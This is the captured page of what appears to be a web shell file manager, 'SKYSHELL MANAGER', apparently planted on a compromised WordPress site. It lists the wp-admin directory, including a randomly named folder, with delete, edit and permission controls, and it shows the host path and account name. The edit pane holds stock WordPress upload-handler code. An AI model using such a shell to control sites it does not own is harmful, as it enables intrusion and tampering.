📁
SKYSHELL MANAGER
PHP v8.3.35
Create
Create
Path:
root
/
home4
/
oxcchem
/
public_html
/
BSC
/
wp-admin
/
Name
Size
Perm
Actions
📁
8yebv5mlhpknv63bc0txhrflksl71q
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
22.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-ajax.php
4.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-header.php
7.17 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-post.php
1.65 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
10.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
3.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
10.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
credits.php
4.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-background.php
19.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
45.31 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
9.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-comments.php
13.64 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
32.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-comment.php
7.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tag-form.php
9.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
20.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
15.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
570.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
3.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export.php
10.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
6.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
install-helper.php
5.62 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-add.php
0.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-manager.php
3.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
2.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link.php
2.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load-scripts.php
1.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load-styles.php
2.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-new.php
3.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media.php
5.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu.php
13.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moderation.php
0.31 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-admin.php
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-edit.php
0.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-options.php
0.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-sites.php
0.22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-themes.php
0.22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-upgrade-network.php
0.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-users.php
0.22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
4.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
nav-menus.php
39.85 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-discussion.php
14.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-general.php
14.65 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-head.php
0.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-media.php
5.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-permalink.php
17.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-reading.php
8.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-writing.php
8.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
plugin-editor.php
12.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
plugins.php
22.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
post-new.php
2.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy-policy-guide.php
0.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
7.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
profile.php
0.29 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
site-health-info.php
5.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
site-health.php
5.17 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
term.php
2.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
theme-editor.php
14.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
theme-install.php
14.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.php
20.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upgrade-functions.php
0.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
26.94 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-new.php
21.18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
users.php
17.9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
18.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: class-file-upload-upgrader.php
<?php /** * Upgrade API: File_Upload_Upgrader class * * @package WordPress * @subpackage Upgrader * @since 4.6.0 */ /** * Core class used for handling file uploads. * * This class handles the upload process and passes it as if it's a local file * to the Upgrade/Installer functions. * * @since 2.8.0 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php. */ #[AllowDynamicProperties] class File_Upload_Upgrader { /** * The full path to the file package. * * @since 2.8.0 * @var string $package */ public $package; /** * The name of the file. * * @since 2.8.0 * @var string $filename */ public $filename; /** * The ID of the attachment post for this file. * * @since 3.3.0 * @var int $id */ public $id = 0; /** * Construct the upgrader for a form. * * @since 2.8.0 * * @param string $form The name of the form the file was uploaded from. * @param string $urlholder The name of the `GET` parameter that holds the filename. */ public function __construct( $form, $urlholder ) { if ( empty( $_FILES[ $form ]['name'] ) && empty( $_GET[ $urlholder ] ) ) { wp_die( __( 'Please select a file' ) ); } // Handle a newly uploaded file. Else, assume it's already been uploaded. if ( ! empty( $_FILES ) ) { $overrides = array( 'test_form' => false, 'test_type' => false, ); $file = wp_handle_upload( $_FILES[ $form ], $overrides ); if ( isset( $file['error'] ) ) { wp_die( $file['error'] ); } if ( 'pluginzip' === $form || 'themezip' === $form ) { if ( ! wp_zip_file_is_valid( $file['file'] ) ) { wp_delete_file( $file['file'] ); if ( 'pluginzip' === $form ) { $plugins_page = sprintf( '<a href="%s">%s</a>', self_admin_url( 'plugin-install.php' ), __( 'Return to the Plugin Installer' ) ); wp_die( __( 'Incompatible Archive.' ) . '<br />' . $plugins_page ); } if ( 'themezip' === $form ) { $themes_page = sprintf( '<a href="%s" target="_parent">%s</a>', self_admin_url( 'theme-install.php' ), __( 'Return to the Theme Installer' ) ); wp_die( __( 'Incompatible Archive.' ) . '<br />' . $themes_page ); } } } $this->filename = $_FILES[ $form ]['name']; $this->package = $file['file']; // Construct the attachment array. $attachment = array( 'post_title' => $this->filename, 'post_content' => $file['url'], 'post_mime_type' => $file['type'], 'guid' => $file['url'], 'context' => 'upgrader', 'post_status' => 'private', ); // Save the data. $this->id = wp_insert_attachment( $attachment, $file['file'] ); // Schedule a cleanup for 2 hours from now in case of failed installation. wp_schedule_single_event( time() + 2 * HOUR_IN_SECONDS, 'upgrader_scheduled_cleanup', array( $this->id ) ); } elseif ( is_numeric( $_GET[ $urlholder ] ) ) { // Numeric Package = previously uploaded file, see above. $this->id = (int) $_GET[ $urlholder ]; $attachment = get_post( $this->id ); if ( empty( $attachment ) ) { wp_die( __( 'Please select a file' ) ); } $this->filename = $attachment->post_title; $this->package = get_attached_file( $attachment->ID ); } else { // Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler. $uploads = wp_upload_dir(); if ( ! ( $uploads && false === $uploads['error'] ) ) { wp_die( $uploads['error'] ); } $this->filename = sanitize_file_name( $_GET[ $urlholder ] ); $this->package = $uploads['basedir'] . '/' . $this->filename; if ( ! str_starts_with( realpath( $this->package ), realpath( $uploads['basedir'] ) ) ) { wp_die( __( 'Please select a file' ) ); } } } /** * Deletes the attachment/uploaded file. * * @since 3.2.2 * * @return bool Whether the cleanup was successful. */ public function cleanup() { if ( $this->id ) { wp_delete_attachment( $this->id ); } elseif ( file_exists( $this->package ) ) { return @unlink( $this->package ); } return true; } }
Save